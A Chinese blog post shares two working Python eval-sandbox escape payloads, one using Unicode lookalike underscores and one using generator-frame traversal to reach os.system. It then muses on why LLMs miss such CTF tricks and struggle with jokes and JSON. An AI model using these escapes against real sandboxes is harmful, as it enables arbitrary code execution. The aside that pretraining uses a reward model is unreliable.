无用之用——或许LLM真的还不是AGI
Posted | stdin
之前记录的 安全的Python3沙箱——eval 被人破解了。
[
c._﹍init﹍_._﹍globals﹍_["os"].system("id")
for c in ()._﹍class﹍_._﹍bases﹍_[0]._﹍subclasses﹍_()
if c._﹍init﹍_._﹍class﹍_._﹍name﹍_ == "function"
and "os" in c._﹍init﹍_._﹍globals﹍_
]
或
(
L:=[None],
g:=(x.gi_frame.f_back.f_back.f_builtins for x in L),
L.clear(),
L.append(g),
bi:=g.send(None),
bi['_'+'_import_'+'_']('os').system('id')
)
其实 opus-4.6-thinking 当时提到了类似思路,但可惜miss了一丁点。
- AI想到的unicode是 U+FF3F 失败了,这里的 ﹍是 U+FE4D成功了。
- AI考虑到 gi_frame 但是没能成功写完整。
看到这里我不仅哑然,距离成功就差临门一脚那么一点,但是AI终究不是AGI。人类在钻研死劲上还是胜过AI的。
AI会不会有一些根本性的模式限制呢?我猜现阶段就是它最不太适应的就是这种对抗性的CTF。
pretrain有个 reward model,只预测出一个最恰当的token。RLHF也是高度按照人类喜好去pick一个标准答案的。但是有些任务不是这样的,是全局试错然后留意着,说不定以后从candidate做个奇妙的组合,加工发挥,就有大用。
今年开篇第一篇也写过《LLM的弱点——不能很好的讲笑话》,恰如 LLM产生随机数能力很弱。因为它真的不会去随便挑个角度开始讲笑话,但群众喜闻乐见的「冷笑话」就是这样,冷不丁来一个,笑死人。笑点很奇怪。
LLM过度讨好,就发现不了这种。而且即便发现了也不会记录搜藏用在下一次。。
CTF和讲笑话一样,没有最优解。恰好是偶然你从一个刁钻的角度入手,可能一开始很不起眼,但是你能解决问题
A -> B 死胡同
C -> D 死胡同
B+D居然能解决E。
所以我感觉现阶段LLM是擅长「优化」类任务,把做到极致。但是搜集启发式的活儿,第一是它pretrain没这么教,第二是教了它也不会搜集,memory得靠外挂。
或许人类以后的工作,狩猎式的活儿不用做了,可以去采集类的。如同 CTF奇怪路径某一天突然串通了可以构造一个 exploit,也如同多个违背预期结合可以构成一个笑话
无用之用方为大用?哈哈哈
又刷到这篇 we've all been using MCP wrong
我个人是有切身体会的。AI 其实对 JSON 这种格式掌握一点都不好,经常写出有语法错误的。我现在完全放弃用JSON跟AI交互了,都改为 markdown 段落章节形式了
谁知道,AI居然不习惯JSON这样机械严格的东西,反而喜欢接近自然语言宽松的格式。
Cloudflare博客也强调,与其教AI去调用MCP,不如让AI写对应的代码去调用MCP。AI更习惯写代码。这和Claude某些bash党的观点不谋而合,因为AI培训班就是大量代码和自然文本,JSON其实反而说得少,不习惯啊。
从这个角度说,JSON都写不好的AI,还想什么AGI呢。
Comments